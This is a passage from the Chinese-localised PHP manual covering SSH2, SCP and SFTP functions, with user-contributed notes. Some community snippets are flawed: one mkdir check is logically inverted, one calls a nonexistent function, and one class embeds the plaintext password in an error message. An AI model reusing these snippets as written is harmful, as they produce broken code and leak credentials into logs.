echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

以上示例会输出：

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

注释

Note: 公钥子系统用于管理服务器到已被认证的客户端的公钥。要用公钥认证方法来认证远程系统，应使用 ssh2_auth_pubkey_file() 函数。

参见

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_remove() - Remove an authorized publickey

User Contributed Notes

There are no user contributed notes for this page.


Remove an authorized publickey

  • ? ssh2_publickey_list
  • ssh2_scp_recv ?
  • PHP Manual
  • SSH2 函数
  • Remove an authorized publickey

ssh2_publickey_remove

(PECL ssh2 >= 0.10)

ssh2_publickey_remove — Remove an authorized publickey

说明

ssh2_publickey_remove(resource $pkey, string $algoname, string $blob): bool

Removes an authorized publickey.

参数

pkey

Publickey Subsystem Resource

algoname

Publickey algorithm (e.g.): ssh-dss, ssh-rsa

blob

Publickey blob as raw binary data

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note: 公钥子系统用于管理服务器到已被认证的客户端的公钥。要用公钥认证方法来认证远程系统，应使用 ssh2_auth_pubkey_file() 函数。

参见

  • ssh2_publickey_init() - Initialize Publickey subsystem
  • ssh2_publickey_add() - Add an authorized publickey
  • ssh2_publickey_list() - List currently authorized publickeys

User Contributed Notes

There are no user contributed notes for this page.


Request a file via SCP

  • ? ssh2_publickey_remove
  • ssh2_scp_send ?
  • PHP Manual
  • SSH2 函数
  • Request a file via SCP

ssh2_scp_recv

(PECL ssh2 >= 0.9.0)

ssh2_scp_recv — Request a file via SCP

说明

ssh2_scp_recv(resource $session, string $remote_file, string $local_file): bool

Copy a file from the remote server to the local filesystem using the SCP protocol.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

remote_file

Path to the remote file.

local_file

Path to the local file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Downloading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

参见

  • ssh2_scp_send() - Send a file via SCP
  • copy() - 拷贝文件

User Contributed Notes

liubomyr dot pelo at gmail dot com 20-Jul-2016 07:56
In case if you get:

Warning: ssh2_scp_recv(): Unable to receive remote file in /some-php-file.php on line 2

Use `stream_get_contents` function.

Example:
<?php
$stream = @fopen("ssh2.sftp://$sftp$remoteFile", 'r');
if (! $stream) {
        throw new \Exception("Could not open file: $remoteFile");
}

$contents = stream_get_contents($stream);
file_put_contents ($localFile, $contents);
@fclose($stream);
?>
Maddie 30-Jul-2013 05:40
If you are getting the error - ssh2_scp_recv(): Unable to receive remote file

Try using file_get_contents("ssh2.sftp://$sftp$fileLocation") and file_put_contents() as a workaround-- this is after I tried all sorts of different remote file path formats to no avail.
Anonymous 24-Jun-2013 09:14
May fail when trying to get a remote file from the user's home directory when you try to use a path like '~/filename.txt' .  It appears to dislike tildes, so use the full file path.
mark at mohc dot net 03-Oct-2012 12:47
Transferred files can be truncated if you do not call ssh2_exec($connection,'exit').  ssh2_scp_send will return true even if the file did not completely transfer.

eg.

ssh2_scp_send($connection, $infile, $remotefile, 0644);
ssh2_exec($connection, 'exit'); // exit the ssh2 connection
ojovirtual 25-May-2011 01:37
Trying to get a remote file with spaces in its name?

Never forget to use quotes in the remote filename, but never in the local one.

Example:

<?php
$remote_file_name="my name with spaces.ext"

ssh2_scp_recv($cn,$remote_file_name,$local_path."/".$remote_file_name); // ERROR

ssh2_scp_recv($cn,"\"".$remote_file_name."\"",$local_path."/".$remote_file_name); //OK

ssh2_scp_recv($cn,"\"".$remote_file_name."\"","\"".$local_path."/".$remote_file_name."\""); //ERROR
?>

So, the quotes in the file name are needed only for remote, not for local.
luis dot sv at gmail dot com 19-May-2010 03:16
This function can be used to copy all files into a directory on a remote server, using SSH and SCP.

<?php
$connection = ssh2_connect('host', 22);
ssh2_auth_password($connection, 'user', 'password');

$remote_dir="/remote_dir/";
$local_dir="/local_dir/";

$com ="ls $remote_dir";
$stream = ssh2_exec($connection, $com);
stream_set_blocking($stream,true);
$cmd=fread($stream,4096);

$arr=explode("\n",$cmd);

$total_files=sizeof($arr);

for($i=0;$i<$total_files;$i++){
    $file_name=trim($arr[$i]);
    if($file_name!=''){
        $remote_file=$remote_dir.$file_name;
        $local_file=$local_dir.$file_name;

        if(ssh2_scp_recv($connection, $remote_file,$local_file)){
            echo "File ".$file_name." was copied to $local_dir<br />";
        }
    }
}

fclose($stream);
?>
gordon_e_rouse at yahoo dot com dot au 28-May-2008 03:19
Being still in Beta, I guess it will have it quirks. One I found was that if the remote filename has brackets in it, it just wont work.

I should file it as a bug report, but find the process all intimidating really - I am always just a stupid user who does not know what he is on about!

But anyway - the work around of renaming the file before downloading it works fine.

use:
$_new_path = str_replace("(", "", $_path );
$_new_path = str_replace(")", "", $_new_path );

ssh2_sftp_rename( $sftp,  $_path, $_new_path );

To tell you the truth I haven't determined if it is the open or close bracket, or both. Someone else can investigate that.

Meanwhile, it would be good to know all the bad filename characters which this function has problems with, no doubt there are more.
miller4980 at msn dot com 23-Apr-2008 11:10
Problem:
  can't pass an array to sftp_scp_rec()
  also: for Windows: sftp was not happy when connecting to   a  Windows dir.
  eg: sftp_scp_rec($connection, "remote/directory","local/$directory[$i]");
Solution:
The array was placing whitespace on the end of the variable.
trim(" ","",$directory[$i]);

connecting to Windows dir:
sftp_scp_rec($connection, "linux/directory","\\windows\share[$i]");

This script backs up remote Linux directories to a local Windows directory based on modified dates of files.

The Idea is to get a complete back up of a directory via ftp client etc.
Then when the script runs it will back up newly modified files only.

<?php
//error_reporting(0);

$file        ='';
$arr2        ='';
$arr1        ='';
$ldir         = '';

$remotedirs[0]     = "Domain name or IP address/";
$remotedirs[1]     = "Domain name or IP address/";
$remotedirs[2]     = "Domain name or IP address/";
$remotedirs[3]     = "Domain name or IP address/";

    $fh = fopen("c:\dirlist.txt","w");
    fwrite($fh, " ");
    fclose($fh);
foreach ($remotedirs as $val){
echo $remotedir = "/data/www/$val/";
$localdir     = "\\\\192.168.0.234\\C$\\xampp\\htdocs\\$val\\";
backupwebsites($remotedir,$localdir);
}
function backupwebsites($remotedir,$localdir){
    $connection = ssh2_connect(Host IP or Domain, 22);
    $com ="ls -R -lt $remotedir";
    ssh2_auth_password($connection, 'user', 'password');
    $stream = ssh2_exec($connection, $com );
    stream_set_blocking($stream, true);
    $output = stream_get_contents($stream);

    $fh = fopen("c:\dirlist.txt","a+");
    fwrite($fh, $output);
    fclose($fh);
    $handle = @fopen('c:\dirlist.txt', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
    foreach ($lines as $val)
    {
        $yr = date('Y-m-d');
        $i++;
        $arr1=split("200",$val);
        $arr2=explode(" ",$arr1[1]);
        if("200".$arr2[0]==$yr)
        {
            //if("200".$arr2[0]=='2008-04-21'){    //for testing
            $remotedir = $remotedir.$arr2[2];
            $cpy=$arr2[2];
            $file = $localdir;
            glue($connection,$remotedir,$localdir,$cpy);
        }
    }
}
//echo $i;
function glue($connection,$remotedir,$localdir,$cpy){
    $ldir[0] = "$localdir";
    $ldir[1]="$cpy";
    $file = $ldir[0].$ldir[1];
    $file = trim($file);
     $file;
 gop($connection,$remotedir,$file);
}
function gop($connection,$remotedir,$file){
echo $file;

ssh2_scp_recv(
$connection,
$remotedir,
$file);
}

?>
chad dot [the letter d] johnson AT gmail 26-Mar-2008 12:23
If when trying to use this function you get "Warning: ssh2_scp_send(): Failure creating remote file," then try using

$data = file_get_contents("ssh2.sftp://$sftp/path/to/file");
jcalcote at novell dot com 08-Aug-2006 01:51
If you scan a remote directory for a list of files by using opendir and readdir on a path obtained from ssh2_sftp(), you'll end up with a list of full file paths containing the ssh2.sftp://$sftp prefix, where $sftp is the sftp resource string returned by ssh2_sftp.

If you later attempt to use ssh2_scp_recv() (even on the same connection!) to copy files locally from the remote path, the copy operation will fail because ssh2_scp_recv() doesn't like the wrapper path prefix. It expects remote file references to be rooted at the base of the remote file system (eg., '/').

Moral: ssh2_scp_recv() likes paths rooted at the file system root on the remote machine, not full network paths. This routine will fail with an obscure message about not being able to copy the files - yet when you go look it works fine. Worse, when you connect and copy them from an scp shell session, it also works fine.


Send a file via SCP

  • ? ssh2_scp_recv
  • ssh2_send_eof ?
  • PHP Manual
  • SSH2 函数
  • Send a file via SCP

ssh2_scp_send

(PECL ssh2 >= 0.9.0)

ssh2_scp_send — Send a file via SCP

说明

ssh2_scp_send(
resource $session,
string $local_file,
string $remote_file,
int $create_mode = 0644
): bool

Copy a file from the local filesystem to the remote server using the SCP protocol.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

local_file

Path to the local file.

remote_file

Path to the remote file.

create_mode

The file will be created with the mode specified by create_mode.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Uploading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

参见

  • ssh2_scp_recv() - Request a file via SCP
  • copy() - 拷贝文件

User Contributed Notes

j dot patus at simpledino dot com 07-Feb-2017 09:40
In case the command:

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

causes you a segmentation fault, try using:

$sftpStream = @fopen('ssh2.sftp://'.intval($sftp).$dstFile, 'w');

Credit: http://stackoverflow.com/questions/7414175/php-sftp-seg-fault
emmanuel dot kartmann at prosdk dot com 02-Apr-2010 06:23
On Windows, I had trouble using ssh2_scp_send: files copied to a remote server where incomplete (truncated) and/or locked (error message : "access denied"). The back-end is also on Windows, using CopSSH (cygwin-based SSH server).

The SSH session was kept open - and the file were never flushed to disk.

There's a workaround though - make an explicit call to "exit" to close the session (flushing file content to disk):

<?php
  $objConnection = ssh2_connect($strHost, $strPort, $methods, $callbacks);
  ssh2_auth_password($objConnection, $strUser, $strPassword);
  ssh2_scp_send($objConnection , $strSource, $strDest);

  // Add this to flush buffers/close session
  ssh2_exec($objConnection, 'exit');
?>
stefanov at uk dot ibm dot com 02-May-2008 02:07
In addition to my previous post, I figured out that sftp->fopen->file_get_contents->fwrite has much better performance than ssh2_scp_send.

I've used the following code to test:

<?php
$srcFile = '/var/tmp/dir1/file_to_send.txt';
$dstFile = '/var/tmp/dir2/file_received.txt';

// Create connection the the remote host
$conn = ssh2_connect('my.server.com', 22);

// Create SFTP session
$sftp = ssh2_sftp($conn);

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

try {

    if (!$sftpStream) {
        throw new Exception("Could not open remote file: $dstFile");
    }

    $data_to_send = @file_get_contents($srcFile);

    if ($data_to_send === false) {
        throw new Exception("Could not open local file: $srcFile.");
    }

    if (@fwrite($sftpStream, $data_to_send) === false) {
        throw new Exception("Could not send data from file: $srcFile.");
    }

    fclose($sftpStream);

} catch (Exception $e) {
    error_log('Exception: ' . $e->getMessage());
    fclose($sftpStream);
}
?>

For the test I've sent three files with total size of 6kB, and the times to send including connect to the server were:

SFTP -> 15 sec.
ssh2_scp_send -> 22 sec.

Cheers,

Pimmy
stefanov at uk dot ibm dot com 25-Apr-2008 02:23
After some testing I figured out that ssh2_scp_send does not work exactly as the standard scp command:

- Works: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/file_02.txt');
- Wrong: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp'); (Creates file with name 'tmp')
- Fails: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/');
- Fails: ssh2_scp_send($conn, '/dirname', /var/tmp/'); (No recursion)
- Fails: ssh2_scp_send($conn, '/dirname/*', /var/tmp/'); (Cannot copy more than one file.)

Cheers,

Pimmy


Send EOF to stream

  • ? ssh2_scp_send
  • ssh2_sftp_chmod ?
  • PHP Manual
  • SSH2 函数
  • Send EOF to stream

ssh2_send_eof

(PECL ssh2 >= 1.3)

ssh2_send_eof — Send EOF to stream

说明

ssh2_send_eof(resource $channel): bool

Sends an EOF to the stream; this is typically used to close standard input, while keeping output and error alive. For example, one can send a remote process some data over standard input, close it to start processing, and still be able to read out the results without creating additional files.

参数

channel

An SSH stream; can be acquired through functions like ssh2_fetch_stream() or ssh2_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • ssh2_fetch_stream() - Fetch an extended data stream

User Contributed Notes

There are no user contributed notes for this page.


Changes file mode

  • ? ssh2_send_eof
  • ssh2_sftp_lstat ?
  • PHP Manual
  • SSH2 函数
  • Changes file mode

ssh2_sftp_chmod

(PECL ssh2 >= 0.12)

ssh2_sftp_chmod — Changes file mode

说明

ssh2_sftp_chmod(resource $sftp, string $filename, int $mode): bool

Attempts to change the mode of the specified file to that given in mode.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Path to the file.

mode

Permissions on the file. See the chmod() for more details on this parameter.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Changing the mode of a file on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_chmod($sftp, '/somedir/somefile', 0755);
?>

参见

  • chmod() - 改变文件模式
  • ssh2_sftp() - Initialize SFTP subsystem
  • ssh2_connect() - Connect to an SSH server

User Contributed Notes

boris at brdaric dot com 17-Jan-2020 09:40
It seems that when creating directory using this function, permissions are affected by the system umask setting.

If you want to make sure proper permissions are set, after creating directory, set permissions by using ssh2_?sftp_?chmod function.


Stat a symbolic link

  • ? ssh2_sftp_chmod
  • ssh2_sftp_mkdir ?
  • PHP Manual
  • SSH2 函数
  • Stat a symbolic link

ssh2_sftp_lstat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_lstat — Stat a symbolic link

说明

ssh2_sftp_lstat(resource $sftp, string $path): array

Stats a symbolic link on the remote filesystem without following the link.

This function is similar to using the lstat() function with the ssh2.sftp:// wrapper and returns the same values.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

path

Path to the remote symbolic link.

返回值

See the documentation for stat() for details on the values which may be returned.

示例

Example #1 Stating a symbolic link via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

参见

  • ssh2_sftp_stat() - Stat a file on a remote filesystem
  • lstat() - 给出一个文件或符号连接的信息
  • stat() - 给出文件的信息

User Contributed Notes

There are no user contributed notes for this page.


Create a directory

  • ? ssh2_sftp_lstat
  • ssh2_sftp_readlink ?
  • PHP Manual
  • SSH2 函数
  • Create a directory

ssh2_sftp_mkdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_mkdir — Create a directory

说明

ssh2_sftp_mkdir(
resource $sftp,
string $dirname,
int $mode = 0777,
bool $recursive = false
): bool

Creates a directory on the remote file server with permissions set to mode.

This function is similar to using mkdir() with the ssh2.sftp:// wrapper.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

Path of the new directory.

mode

Permissions on the new directory. The actual mode is affected by the current umask.

recursive

If recursive is true any parent directories required for dirname will be automatically created as well.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Creating a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* Or: mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

参见

  • mkdir() - 新建目录
  • ssh2_sftp_rmdir() - Remove a directory

User Contributed Notes

murtuzazabuawala at gmail dot com 16-Sep-2022 06:07
we can first check for directory exists and create a new directory

       if (is_dir("ssh2.sftp://intval($sftp)/some_directory/archive/")) {
                    mkdir("ssh2.sftp://intval($sftp)/some_directory/archive/",0777, true);
                }


Return the target of a symbolic link

  • ? ssh2_sftp_mkdir
  • ssh2_sftp_realpath ?
  • PHP Manual
  • SSH2 函数
  • Return the target of a symbolic link

ssh2_sftp_readlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_readlink — Return the target of a symbolic link

说明

ssh2_sftp_readlink(resource $sftp, string $link): string

Returns the target of a symbolic link.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

link

Path of the symbolic link.

返回值

Returns the target of the symbolic link.

示例

Example #1 Reading a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target is now (e.g.): '/var/run/mysql.sock' */
?>

参见

  • readlink() - 返回符号连接指向的目标
  • ssh2_sftp_symlink() - Create a symlink

User Contributed Notes

There are no user contributed notes for this page.


Resolve the realpath of a provided path string

  • ? ssh2_sftp_readlink
  • ssh2_sftp_rename ?
  • PHP Manual
  • SSH2 函数
  • Resolve the realpath of a provided path string

ssh2_sftp_realpath

(PECL ssh2 >= 0.9.0)

ssh2_sftp_realpath — Resolve the realpath of a provided path string

说明

ssh2_sftp_realpath(resource $sftp, string $filename): string

Translates filename into the effective real path on the remote filesystem.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

返回值

Returns the real path as a string.

示例

Example #1 Resolving a pathname

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath is now: '/etc/passwd' */
?>

参见

  • realpath() - 返回规范化的绝对路径名
  • ssh2_sftp_symlink() - Create a symlink
  • ssh2_sftp_readlink() - Return the target of a symbolic link

User Contributed Notes

There are no user contributed notes for this page.


Rename a remote file

  • ? ssh2_sftp_realpath
  • ssh2_sftp_rmdir ?
  • PHP Manual
  • SSH2 函数
  • Rename a remote file

ssh2_sftp_rename

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rename — Rename a remote file

说明

ssh2_sftp_rename(resource $sftp, string $from, string $to): bool

Renames a file on the remote filesystem.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

from

The current file that is being renamed.

to

The new file name that replaces from.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Renaming a file via sftp

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

参见

  • rename() - 重命名一个文件或目录

User Contributed Notes

Andr Ribas 28-Mar-2017 06:24
For some unknown reason we weren't able to rename the remote file using sftp_rename function. Instead we've used the following code:

<?php
    $connection = ssh2_connect('localhost', 22);
    ssh2_auth_password($connection, 'username', 'password');
    $sftp = ssh2_sftp($connection);

    $fromSftpUrl = "ssh2.sftp://{$sftp}/{$path_from}";
    $toSftpUrl = "ssh2.sftp://{$sftp}/{$path_to}";

    $success = rename($fromSftpUrl, $toSftpUrl);
?>
thomas dot hebinck at digionline dot de 10-Nov-2011 09:57
An already existing file will NOT be overwritten.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt

"It is an error if there already exists a file with the name specified by newpath."


Remove a directory

  • ? ssh2_sftp_rename
  • ssh2_sftp_stat ?
  • PHP Manual
  • SSH2 函数
  • Remove a directory

ssh2_sftp_rmdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rmdir — Remove a directory

说明

ssh2_sftp_rmdir(resource $sftp, string $dirname): bool

Removes a directory from the remote file server.

This function is similar to using rmdir() with the ssh2.sftp:// wrapper.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Removing a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* Or: rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

参见

  • rmdir() - 删除目录
  • ssh2_sftp_mkdir() - Create a directory

User Contributed Notes

There are no user contributed notes for this page.


Stat a file on a remote filesystem

  • ? ssh2_sftp_rmdir
  • ssh2_sftp_symlink ?
  • PHP Manual
  • SSH2 函数
  • Stat a file on a remote filesystem

ssh2_sftp_stat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_stat — Stat a file on a remote filesystem

说明

ssh2_sftp_stat(resource $sftp, string $path): array

Stats a file on the remote filesystem following any symbolic links.

This function is similar to using the stat() function with the ssh2.sftp:// wrapper and returns the same values.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

path

返回值

See the documentation for stat() for details on the values which may be returned.

示例

Example #1 Stating a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_stat($sftp, '/path/to/file');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

参见

  • ssh2_sftp_lstat() - Stat a symbolic link
  • lstat() - 给出一个文件或符号连接的信息
  • stat() - 给出文件的信息

User Contributed Notes

gmmarcus at outlook dot my 03-Aug-2014 07:32
Just to add further, that was for a php 5.3.5 box running a 64 bit linux os....
i havent tested on other versions yet.

But there is quite a lot of noise about this in php bug list.
gmmarcus at outlook dot my 03-Aug-2014 07:17
Pls note that stat does not seem to give proper filesizes even with 64 bit php if files > 2Gb
Darren Wolfe 08-Jun-2012 05:43
As with stat(), the returned size of the file may be wrong if it is over 2GB.


Create a symlink

  • ? ssh2_sftp_stat
  • ssh2_sftp_unlink ?
  • PHP Manual
  • SSH2 函数
  • Create a symlink

ssh2_sftp_symlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_symlink — Create a symlink

说明

ssh2_sftp_symlink(resource $sftp, string $target, string $link): bool

Creates a symbolic link named link on the remote filesystem pointing to target.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

target

Target of the symbolic link.

link

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Creating a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

参见

  • ssh2_sftp_readlink() - Return the target of a symbolic link
  • symlink() - 建立符号连接

User Contributed Notes

There are no user contributed notes for this page.


Delete a file

  • ? ssh2_sftp_symlink
  • ssh2_sftp ?
  • PHP Manual
  • SSH2 函数
  • Delete a file

ssh2_sftp_unlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_unlink — Delete a file

说明

ssh2_sftp_unlink(resource $sftp, string $filename): bool

Deletes a file on the remote filesystem.

参数

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Deleting a file

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

参见

  • unlink() - 删除文件

User Contributed Notes

pfortin at expertime dot com 15-Apr-2020 07:53
For some reasons, sometime it's not working. You can do like this instead:

unlink('ssh2.sftp://' . intval($sftp) . ssh2_sftp_realpath($sftp,".") . "./".$dstFile);
andrew at pause dot ca 29-Jan-2015 03:05
If you've already got a filepath of the form "ssh2.sftp://$sftp/path/to/file" you can just use unlink() on that path


Initialize SFTP subsystem

  • ? ssh2_sftp_unlink
  • ssh2_shell ?
  • PHP Manual
  • SSH2 函数
  • Initialize SFTP subsystem

ssh2_sftp

(PECL ssh2 >= 0.9.0)

ssh2_sftp — Initialize SFTP subsystem

说明

ssh2_sftp(resource $session): resource|false

Request the SFTP subsystem from an already connected SSH2 server.

参数

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

返回值

This method returns an SSH2 SFTP resource for use with all other ssh2_sftp_*() methods and the ssh2.sftp:// fopen wrapper, 或者在失败时返回 false.

示例

Example #1 Opening a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen('ssh2.sftp://' . intval($sftp) . '/path/to/file', 'r');
?>

参见

  • ssh2_scp_recv() - Request a file via SCP
  • ssh2_scp_send() - Send a file via SCP

User Contributed Notes

Youz 23-May-2019 07:36
Adding a function to previous class to connect with key instead of user/password

<?php
public function loginWithKey($username, $publicKey, $privateKey, $passphrase = null)
  {
    if (!@ssh2_auth_pubkey_file($this->connection, $username, $publicKey, $privateKey, $passphrase)) {
      throw new Exception("Could not authenticate with given keys or passphrase");
    }

    $this->sftp = @ssh2_sftp($this->connection);
    if (!$this->sftp) {
      throw new Exception("Could not initialize SFTP subsystem.");
    }
  }

?>
php at kanariepiet dot com 30-Mar-2018 08:29
Remember to use stream_set_chunk_size() on the resource for performance reasons, especially if you're uploading large files on links with high latency.

SFTP can only send 32K of data in one packet and libssh2 will wait for a response after each packet sent. So with a default chunk size of 8K the upload will be very slow.
If you set the chunk size to for example 1Mb, libssh2 will send that chunk in multiple packets of 32K and then wait for a response, making the upload much faster.
(see man libssh2_sftp_write for more details)

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'w');

stream_set_chunk_size($stream, 1024*1024);
fwrite($stream, $data);
?>
Jarrod Christman 05-Apr-2017 01:06
David's code works wonderfully except for one thing, it wouldn't upload a file until I placed a forward slash after '$sftp'

public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        // Original
        // "ssh2.sftp://$sftp$remote_file"
        $stream = @fopen("ssh2.sftp://$sftp/$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
btafoya at briantafoya dot com 22-Mar-2017 03:00
Here is a modified SFTPConnection class previously posted that returns a recursive directory scanFilesystem method.

<?php
class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

    function scanFilesystem($remote_file) {
        $sftp = $this->sftp;
        $dir = "ssh2.sftp://$sftp$remote_file";
        $tempArray = array();

        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while (($file = readdir($dh)) !== false) {
                    $filetype = filetype($dir . $file);
                    if($filetype == "dir") {
                        $tmp = $this->scanFilesystem($remote_file . $file . "/");
                        foreach($tmp as $t) {
                            $tempArray[] = $file . "/" . $t;
                        }
                    } else {
                        $tempArray[] = $file;
                    }
                }
                closedir($dh);
            }
        }

        return $tempArray;
    }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
        $sftp = $this->sftp;
        unlink("ssh2.sftp://$sftp$remote_file");
    }
}
?>
webakiro at gmail dot com 10-Feb-2016 03:15
If you wish to store once the protocol + ressource used ("ssh2.sftp://$sftp";)
There's a little trick to know...
This won't work :

<?php
function connect(){
    $connection = ssh2_connect('shell.example.com', 22);
